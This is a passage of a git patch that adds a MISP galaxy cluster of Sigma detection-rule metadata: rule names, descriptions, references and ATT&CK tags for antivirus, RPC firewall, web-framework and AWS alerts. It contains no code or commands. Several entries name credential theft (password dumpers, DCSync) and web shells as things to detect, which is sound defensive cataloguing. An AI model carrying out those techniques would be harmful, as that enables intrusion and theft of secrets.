From 473f1a13aae93c1fe90ef4278de30269ccda06f8 Mon Sep 17 00:00:00 2001 From: Jstnk9 Date: Tue, 15 Nov 2022 22:56:18 +0100 Subject: [PATCH] galaxy related to sigma rtules galaxy related to sigma rtules --- clusters/sigma-rules.json | 62610 ++++++++++++++++++++++++++++++++++++ galaxies/sigma-rules.json | 9 + 2 files changed, 62619 insertions(+) create mode 100644 clusters/sigma-rules.json create mode 100644 galaxies/sigma-rules.json diff --git a/clusters/sigma-rules.json b/clusters/sigma-rules.json new file mode 100644 index 0000000..a3a4a5a --- /dev/null +++ b/clusters/sigma-rules.json @@ -0,0 +1,62610 @@ +{ + "authors": [ + "@Joseliyo_Jstnk" + ], + "category": "rules", + "description": "MISP galaxy cluster based on Sigma Rules.", + "name": "Sigma-Rules", + "source": "https://github.com/jstnk9/MISP/tree/main/misp-galaxy/sigma", + "type": "sigma-rules", + "uuid": "9cf7cd2e-d5f1-48c4-9909-7896ba1c96b2", + "values": [ + { + "description": "Detects a highly relevant Antivirus alert that reports an exploitation framework", + "uuid": "238527ad-3c2c-4e4f-a1f6-92fd63adb864", + "value": "Antivirus Exploitation Framework Detection", + "meta": { + "refs": [ + "https://www.nextron-systems.com/2018/09/08/antivirus-event-analysis-cheat-sheet-v1-4/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_exploiting.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2018/09/09", + "filename": "av_exploiting.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "antivirus", + "logsource.product": "No established product" + } + }, + { + "description": "Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool", + "uuid": "fa0c05b6-8ad3-468d-8231-c1cbccb64fba", + "value": "Antivirus Hacktool Detection", + "meta": { + "refs": [ + "https://www.nextron-systems.com/2021/08/16/antivirus-event-analysis-cheat-sheet-v1-8-2/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_hacktool.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204" + ], + "creation_date": "2021/08/16", + "filename": "av_hacktool.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "antivirus", + "logsource.product": "No established product" + } + }, + { + "description": "Detects a highly relevant Antivirus alert that reports a password dumper", + "uuid": "78cc2dd2-7d20-4d32-93ff-057084c38b93", + "value": "Antivirus Password Dumper Detection", + "meta": { + "refs": [ + "https://www.nextron-systems.com/2018/09/08/antivirus-event-analysis-cheat-sheet-v1-4/", + "https://www.virustotal.com/gui/file/5fcda49ee7f202559a6cbbb34edb65c33c9a1e0bde9fa2af06a6f11b55ded619/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_password_dumper.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1558", + "attack.t1003.001", + "attack.t1003.002" + ], + "creation_date": "2018/09/09", + "filename": "av_password_dumper.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "antivirus", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 .", + "uuid": "6fe1719e-ecdf-4caf-bffe-4f501cb0a561", + "value": "Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection", + "meta": { + "refs": [ + "https://twitter.com/mvelazco/status/1410291741241102338", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_printernightmare_cve_2021_34527.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2021/07/01", + "filename": "av_printernightmare_cve_2021_34527.yml", + "author": "Sittikorn S, Nuttakorn T, Tim Shelton", + "level": "critical", + "falsepositive": [ + "Unlikely, or pending PSP analysis" + ], + "logsource.category": "antivirus", + "logsource.product": "No established product" + } + }, + { + "description": "Detects a highly relevant Antivirus alert that reports ransomware", + "uuid": "4c6ca276-d4d0-4a8c-9e4c-d69832f8671f", + "value": "Antivirus Ransomware Detection", + "meta": { + "refs": [ + "https://www.nextron-systems.com/?s=antivirus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_ransomware.yml" + ], + "tags": [ + "attack.t1486" + ], + "creation_date": "2022/05/12", + "filename": "av_ransomware.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "antivirus", + "logsource.product": "No established product" + } + }, + { + "description": "Detects an Antivirus alert in a highly relevant file path or with a relevant file name", + "uuid": "c9a88268-0047-4824-ba6e-4d81ce0b907c", + "value": "Antivirus Relevant File Paths Alerts", + "meta": { + "refs": [ + "https://www.nextron-systems.com/2021/03/25/antivirus-event-analysis-cheat-sheet-v1-8/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_relevant_files.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588" + ], + "creation_date": "2018/09/09", + "filename": "av_relevant_files.yml", + "author": "Florian Roth, Arnim Rupp", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "antivirus", + "logsource.product": "No established product" + } + }, + { + "description": "Detects a highly relevant Antivirus alert that reports a web shell. It's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big webshell repo from e.g. github and checking the matches.", + "uuid": "fdf135a2-9241-4f96-a114-bb404948f736", + "value": "Antivirus Web Shell Detection", + "meta": { + "refs": [ + "https://www.nextron-systems.com/2021/03/25/antivirus-event-analysis-cheat-sheet-v1-8/", + "https://github.com/tennc/webshell", + "https://www.virustotal.com/gui/file/bd1d52289203866645e556e2766a21d2275877fbafa056a76fe0cf884b7f8819/detection", + "https://www.virustotal.com/gui/file/308487ed28a3d9abc1fec7ebc812d4b5c07ab025037535421f64c60d3887a3e8/detection", + "https://www.virustotal.com/gui/file/7d3cb8a8ff28f82b07f382789247329ad2d7782a72dde9867941f13266310c80/detection", + "https://www.virustotal.com/gui/file/e841675a4b82250c75273ebf0861245f80c6a1c3d5803c2d995d9d3b18d5c4b5/detection", + "https://www.virustotal.com/gui/file/a80042c61a0372eaa0c2c1e831adf0d13ef09feaf71d1d20b216156269045801/detection", + "https://www.virustotal.com/gui/file/b219f7d3c26f8bad7e175934cd5eda4ddb5e3983503e94ff07d39c0666821b7e/detection", + "https://www.virustotal.com/gui/file/b8702acf32fd651af9f809ed42d15135f842788cd98d81a8e1b154ee2a2b76a2/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_webshell.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2018/09/09", + "filename": "av_webshell.yml", + "author": "Florian Roth, Arnim Rupp", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "antivirus", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious Django web application framework exceptions that could indicate exploitation attempts", + "uuid": "fd435618-981e-4a7c-81f8-f78ce480d616", + "value": "Django Framework Exceptions", + "meta": { + "refs": [ + "https://docs.djangoproject.com/en/1.11/ref/exceptions/", + "https://docs.djangoproject.com/en/1.11/topics/logging/#django-security", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/django/appframework_django_exceptions.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2017/08/05", + "filename": "appframework_django_exceptions.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Application bugs" + ], + "logsource.category": "application", + "logsource.product": "django" + } + }, + { + "description": "Generic rule for SQL exceptions in Python according to PEP 249", + "uuid": "19aefed0-ffd4-47dc-a7fc-f8b1425e84f9", + "value": "Python SQL Exceptions", + "meta": { + "refs": [ + "https://www.python.org/dev/peps/pep-0249/#exceptions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/python/app_python_sql_exceptions.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2017/08/12", + "filename": "app_python_sql_exceptions.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Application bugs" + ], + "logsource.category": "application", + "logsource.product": "python" + } + }, + { + "description": "Detects remote RPC calls to create or execute a scheduled task via ATSvc", + "uuid": "0fcd1c79-4eeb-4746-aba9-1b458f7a79cb", + "value": "Remote Schedule Task Lateral Movement via ATSvc", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1053/", + "https://attack.mitre.org/tactics/TA0008/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1053", + "attack.t1053.002" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_atsvc_lateral_movement.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to read information about scheduled tasks via AtScv", + "uuid": "f177f2bc-5f3e-4453-b599-57eefce9a59c", + "value": "Remote Schedule Task Recon via AtScv", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0007/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/zeronetworks/rpcfirewall", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_recon.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/01", + "filename": "rpc_firewall_atsvc_recon.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks.", + "uuid": "56fda488-113e-4ce9-8076-afc2457922c3", + "value": "Possible DCSync Attack", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1033/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-DRSR.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_dcsync_attack.yml" + ], + "tags": [ + "attack.t1033" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_dcsync_attack.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR", + "uuid": "5f92fff9-82e2-48eb-8fc1-8b133556a551", + "value": "Remote Encrypting File System Abuse", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0008/", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-EFSR.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_efs_abuse.yml" + ], + "tags": [ + "attack.lateral_movement" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_efs_abuse.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Legitimate usage of remote file encryption" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to get event log information via EVEN or EVEN6", + "uuid": "2053961f-44c7-4a64-b62d-f6e72800af0d", + "value": "Remote Event Log Recon", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0007/", + "https://github.com/zeronetworks/rpcfirewall", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_eventlog_recon.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/01", + "filename": "rpc_firewall_eventlog_recon.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Remote administrative tasks on Windows Events" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to create or execute a scheduled task", + "uuid": "ace3ff54-e7fd-46bd-8ea0-74b49a0aca1d", + "value": "Remote Schedule Task Lateral Movement via ITaskSchedulerService", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1053/", + "https://attack.mitre.org/tactics/TA0008/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1053", + "attack.t1053.002" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_itaskschedulerservice_lateral_movement.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to read information about scheduled tasks", + "uuid": "7f7c49eb-2977-4ac8-8ab0-ab1bae14730e", + "value": "Remote Schedule Task Recon via ITaskSchedulerService", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0007/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_recon.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/01", + "filename": "rpc_firewall_itaskschedulerservice_recon.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to possibly abuse remote printing service via MS-RPRN / MS-PAR", + "uuid": "bc3a4b0c-e167-48e1-aa88-b3020950e560", + "value": "Remote Printing Abuse for Lateral Movement", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0008/", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pan/e44d984c-07d3-414c-8ffc-f8c8ad8512a8", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RPRN-PAR.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_printing_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_printing_lateral_movement.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Actual printing" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls that performs remote DCOM operations. These could be abused for lateral movement via DCOM or WMI.", + "uuid": "68050b10-e477-4377-a99b-3721b422d6ef", + "value": "Remote DCOM/WMI Lateral Movement", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0008/", + "https://attack.mitre.org/techniques/T1021/003/", + "https://attack.mitre.org/techniques/T1047/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_dcom_or_wmi.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.003", + "attack.t1047" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_remote_dcom_or_wmi.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Some administrative tasks on remote host" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to modify the registry and possible execute code", + "uuid": "35c55673-84ca-4e99-8d09-e334f3c29539", + "value": "Remote Registry Lateral Movement", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1112/", + "https://attack.mitre.org/tactics/TA0008/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_remote_registry_lateral_movement.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Remote administration of registry values" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to collect information", + "uuid": "d8ffe17e-04be-4886-beb9-c1dd1944b9a8", + "value": "Remote Registry Recon", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0007/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_recon.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/01", + "filename": "rpc_firewall_remote_registry_recon.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Remote administration of registry values" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-SRVS", + "uuid": "b6ea3cc7-542f-43ef-bbe4-980fbed444c7", + "value": "Remote Server Service Abuse", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0008/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_server_service_abuse.yml" + ], + "tags": [ + "attack.lateral_movement" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_remote_server_service_abuse.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Legitimate remote share creation" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR", + "uuid": "10018e73-06ec-46ec-8107-9172f1e04ff2", + "value": "Remote Server Service Abuse for Lateral Movement", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0008/", + "https://attack.mitre.org/techniques/T1569/002/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SCMR.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_service_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1569.002" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_remote_service_lateral_movement.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Administrative tasks on remote services" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to create or execute a scheduled task via SASec", + "uuid": "aff229ab-f8cd-447b-b215-084d11e79eb0", + "value": "Remote Schedule Task Lateral Movement via SASec-", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1053/", + "https://attack.mitre.org/tactics/TA0008/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1053", + "attack.t1053.002" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_sasec_lateral_movement.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to read information about scheduled tasks via SASec", + "uuid": "0a3ff354-93fc-4273-8a03-1078782de5b7", + "value": "Remote Schedule Task Lateral Movement via SASec", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0007/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_recon.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/01", + "filename": "rpc_firewall_sasec_recon.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.", + "uuid": "65f77b1e-8e79-45bf-bb67-5988a8ce45a5", + "value": "SharpHound Recon Account Discovery", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1087/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/55118c55-2122-4ef9-8664-0c1ff9e168f3", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-WKST.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_account.yml" + ], + "tags": [ + "attack.t1087" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_sharphound_recon_account.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.", + "uuid": "6d580420-ff3f-4e0e-b6b0-41b90c787e28", + "value": "SharpHound Recon Sessions", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1033/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_sessions.yml" + ], + "tags": [ + "attack.t1033" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_sharphound_recon_sessions.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts", + "uuid": "0d2c3d4c-4b48-4ac3-8f23-ea845746bb1a", + "value": "Ruby on Rails Framework Exceptions", + "meta": { + "refs": [ + "http://edgeguides.rubyonrails.org/security.html", + "http://guides.rubyonrails.org/action_controller_overview.html", + "https://stackoverflow.com/questions/25892194/does-rails-come-with-a-not-authorized-exception", + "https://github.com/rails/rails/blob/cd08e6bcc4cd8948fe01e0be1ea0c7ca60373a25/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/ruby/appframework_ruby_on_rails_exceptions.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2017/08/06", + "filename": "appframework_ruby_on_rails_exceptions.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Application bugs" + ], + "logsource.category": "application", + "logsource.product": "ruby_on_rails" + } + }, + { + "description": "Detects suspicious Spring framework exceptions that could indicate exploitation attempts", + "uuid": "ae48ab93-45f7-4051-9dfe-5d30a3f78e33", + "value": "Spring Framework Exceptions", + "meta": { + "refs": [ + "https://docs.spring.io/spring-security/site/docs/current/apidocs/overview-tree.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/spring/appframework_spring_exceptions.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2017/08/06", + "filename": "appframework_spring_exceptions.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Application bugs" + ], + "logsource.category": "application", + "logsource.product": "spring" + } + }, + { + "description": "Detects SQL error messages that indicate probing for an injection attack", + "uuid": "8a670c6d-7189-4b1c-8017-a417ca84a086", + "value": "Suspicious SQL Error Messages", + "meta": { + "refs": [ + "http://www.sqlinjection.net/errors", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/sql/app_sqlinjection_errors.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2017/11/27", + "filename": "app_sqlinjection_errors.yml", + "author": "Bjoern Kimminich", + "level": "high", + "falsepositive": [ + "Application bugs" + ], + "logsource.category": "application", + "logsource.product": "sql" + } + }, + { + "description": "Detects when an user attached a Lambda layer to an existing function to override a library that is in use by the function, where their malicious code could utilize the function's IAM role for AWS API calls.\nThis would give an adversary access to the privileges associated with the Lambda service role that is attached to that function.\n", + "uuid": "97fbabf8-8e1b-47a2-b7d5-a418d2b95e3d", + "value": "AWS Attached Malicious Lambda Layer", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/lambda/latest/dg/API_UpdateFunctionConfiguration.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_attached_malicious_lambda_layer.yml" + ], + 